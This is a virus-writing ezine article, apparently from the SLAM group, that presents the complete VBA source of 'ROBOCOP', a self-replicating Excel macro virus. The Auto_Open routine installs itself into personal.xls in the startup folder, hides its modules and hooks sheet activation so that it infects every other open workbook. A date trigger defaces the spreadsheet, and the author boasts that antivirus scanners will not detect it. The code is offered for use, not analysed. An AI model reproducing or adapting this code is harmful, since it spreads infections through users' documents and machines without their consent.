SLAMSP.006: The excel macro virus ROBOCOP

eZine lover (@eZine)

Published in 

Slam

 · 5 Mar 2022

[ ExcelMacro. ROBOCOP ]------------------------------------------------------------ 

˛ VIRUSNAME:      ROBOCOP 
˛ ORIGIN:         Germany 
˛ AUTHOR:         Nightmare Joker 

Yeah, I've written my first excel macro virus. 
Here is the source code. I hope you like it. 

Macroname: ROBOCOP 
~~~~~~~~~~~~~~~~~~ 
Sub ROBOCOP() 
    gp = 0 
    vp = 0 

    Set a = Application.ActiveWorkbook 

    Application.ScreenUpdating = False 
    For x = 1 To Application.Workbooks.Count 
        If Application.Workbooks(x).Name = a.Name Then 
            gp = 1 
            For y = 1 To Application.Workbooks(a.Name).Modules.Count 
            If Application.Workbooks(a.Name).Modules(y).Name = "ROBO" Then 
                vp = 1 
            End If 
        Next 

        If vp = 0 Then 
            Windows(a.Name).Visible = True 

            ActiveWorkbook.Modules.Add 
            Application.Workbooks("personal.xls").Modules("ROBO").Copy _ 
            after:=ActiveWorkbook.Modules(1) 

            ActiveWorkbook.Modules.Add 
            Application.Workbooks("personal.xls").Modules("COP").Copy _ 
            after:=ActiveWorkbook.Modules(2) 

            Application.DisplayAlerts = False 
            Sheets("Modul1").Select 
            ActiveWindow.SelectedSheets.Delete 

            Sheets("Modul2").Select 
            ActiveWindow.SelectedSheets.Delete 
            Application.DisplayAlerts = True 

            Sheets("COP").Select 
            ActiveWindow.SelectedSheets.Visible = False 

            Sheets("ROBO").Select 
            ActiveWindow.SelectedSheets.Visible = False 

            Windows(a.Name).Visible = True 
            Application.ActiveWorkbook.Save 
        End If 
        End If 
    Next 

    Application.ScreenUpdating = True 
    Application.Workbooks(a.Name).Save 
End Sub 

***************************************************************************** 
                           END OF MACRO "ROBOCOP" 
***************************************************************************** 

Macroname: Auto_Open 
~~~~~~~~~~~~~~~~~~~~ 
Sub Auto_Open() 
Dim v%, p% 

    gp = 0 
    vp = 0 

    Application.ScreenUpdating = False 
    For x = 1 To Application.Workbooks.Count 
        If Application.Workbooks(x).Name = "personal.xls" Then 
            gp = 1 
            For y = 1 To Application.Workbooks("personal.xls").Modules.Count 
            If Application.Workbooks("personal.xls").Modules(y).Name = "ROBO" Then 
                vp = 1 
            End If 
        Next 

        If vp = 0 Then 
            Windows("personal.xls").Visible = True 
            Set a = Application.ActiveWorkbook 
            Application.Workbooks(a.Name).Modules("ROBO").Copy after:=Application.Workbooks("personal.xls").Modules(1) 
            Application.Workbooks(a.Name).Modules("COP").Copy after:=Application.Workbooks("personal.xls").Modules(1) 

            Sheets("COP").Select 
            ActiveWindow.SelectedSheets.Visible = False 

            Sheets("ROBO").Select 
            ActiveWindow.SelectedSheets.Visible = False 

            Windows("personal.xls").Visible = False 
            Application.OnSheetActivate = ActiveWorkbook.Name & "!COP.ROBOCOP" 
            Application.Workbooks("personal.xls").Save 
        End If 
        End If 
    Next 
        If gp = 0 Then 
        Set a = Application.ActiveWorkbook 
        Application.Workbooks(a.Name).SaveCopyAs Application.StartupPath + "\personal.xls" 
        Application.Workbooks.Open (Application.StartupPath + "\personal.xls") 
        Windows("personal.xls").Visible = False 
        Application.Workbooks("personal.xls").Save 
        End If 
    Application.ScreenUpdating = True 

'nice harmless Payload. 

d = Day(v) 
m = Month(p) 
If d = 30 And m = 12 Then 
    Selection.RowHeight = 100 
    Selection.ColumnWidth = 255 
    Range("A3").Select 
    With Selection.Font 
        .Name = "Imprint MT Shadow" 
        .Size = 24 
        .Strikethrough = False 
        .Superscript = False 
        .Subscript = False 
        .OutlineFont = False 
        .Shadow = False 
        .Underline = xlNone 
        .ColorIndex = xlAutomatic 
    End With 
    Range("A3").Select 
    ActiveCell.FormulaR1C1 = "ROBOCOP Nightmare Joker [SLAM]" 
    With ActiveCell.Characters(Start:=1, Length:=8).Font 
        .Name = "Imprint MT Shadow" 
        .FontStyle = "Standard" 
        .Size = 48 
        .Strikethrough = False 
        .Superscript = False 
        .Subscript = False 
        .OutlineFont = False 
        .Shadow = False 
        .Underline = xlNone 
        .ColorIndex = xlAutomatic 
    End With 
    With ActiveCell.Characters(Start:=9, Length:=22).Font 
        .Name = "Imprint MT Shadow" 
        .FontStyle = "Standard" 
        .Size = 20 
        .Strikethrough = False 
        .Superscript = False 
        .Subscript = False 
        .OutlineFont = False 
        .Shadow = False 
        .Underline = xlNone 
        .ColorIndex = xlAutomatic 
    End With 
    Range("A2").Select 
Else 
    '... 
End If 

Application.OnSheetActivate = Workbooks("personal.xls").Name & "!COP.ROBOCOP" 

End Sub 

***************************************************************************** 
                        END OF MACRO "Auto_Open" 
***************************************************************************** 

I think no AV Scanner will find it! ;-))) 

-Nightmare Joker